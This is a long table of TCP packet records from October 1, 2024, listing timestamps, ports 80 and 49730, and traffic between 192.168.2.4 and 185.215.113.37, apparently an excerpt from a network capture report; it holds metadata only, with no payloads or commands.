Oct 1, 2024 06:03:12.923379898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.923382044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.923414946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.923438072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.923470020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.923500061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.923504114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.923538923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.923568010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.926071882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.930717945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930772066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930787086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.930821896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930854082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930886030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.930903912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930936098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.930965900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.930968046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931005955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931035042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931039095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931071997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931098938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931102037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931133986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931163073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931164980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931200027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931231022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931233883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931265116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931297064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931348085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931379080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931406975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931427002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931505919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931523085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931523085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931572914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931600094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931624889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931653023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931689978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931744099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931751013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931766987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931802988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931806087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931838989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931889057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931920052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931926012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.931958914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.931976080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932008028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932008982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932039976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932068110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932090998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932126045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932152987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932156086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932199955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932208061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932241917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932272911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932291031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932324886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932354927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932374001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932408094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932436943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932456970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932490110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932523966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932523966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932558060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932586908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932590008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932643890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932672024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932676077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932709932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932740927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932756901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932789087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932821035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932821035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932857037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932885885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932888031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932919979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932945013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.932950974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.932984114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933012009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933015108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933048010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933079004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933079004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933111906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933142900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933142900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933176994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933206081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933207035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933238983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933271885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933273077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933305025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933336020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933336973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933370113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933401108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933402061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933473110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933505058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933505058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933538914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933568954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933569908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933604956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933629990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933636904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933669090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933696985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933701038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933734894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933765888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933765888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933799982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933830976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933830976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933865070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933897018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933897018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933931112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933960915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.933962107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.933995008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934025049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.934029102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934062004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934092999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.934092999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934128046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934156895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.934159040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934190989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934221029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.934223890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934257984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934288025 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:12.934289932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:12.934705019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.009654999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009687901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009737968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009768963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.009788990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009824038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.009840012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009871960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.009871960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009905100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009937048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.009938002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.009969950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010000944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010004997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010037899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010066986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010087967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010121107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010150909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010153055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010185003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010215044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010215998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010263920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010294914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010299921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010332108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010365009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010376930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010410070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010436058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.010441065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010473967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.010504007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.011248112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017527103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017586946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017652035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017663956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017684937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017714977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017715931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017750025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017780066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017781019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017832041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017864943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017882109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017914057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017931938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017963886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.017995119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.017996073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018026114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018054008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018060923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018094063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018121958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018124104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018171072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018199921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018203974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018230915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018254995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018264055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018313885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018342972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018343925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018397093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018429995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018445969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018491030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018522024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018538952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018573046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018601894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018604994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018654108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018655062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018686056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018717051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018735886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018767118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018805027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018815041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018846989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018865108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018913031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018913984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018913984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.018945932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018976927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.018976927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019027948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019056082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019078016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019109964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019140005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019141912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019191980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019222021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019224882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019257069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019289017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019289017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019337893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019367933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019371033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019402981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019481897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019514084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019531965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019562960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019566059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019598961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019628048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019629002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019661903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019692898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019692898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019726992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019756079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019757986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019789934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019819021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019820929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019851923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019885063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019886017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019917965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019942999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.019951105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.019982100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020010948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020014048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020046949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020076990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020077944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020112991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020142078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020144939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020176888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020207882 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020209074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020241976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020271063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020273924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020306110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020334005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020338058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020369053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020400047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020402908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020436049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020466089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020466089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020499945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020530939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020531893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020562887 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020591974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020595074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020627022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020653963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020661116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020692110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020721912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020723104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020755053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020787001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:13.020787001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020818949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020850897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:13.020850897 CEST	49730	80	192.168.2.4	185.215.113.37
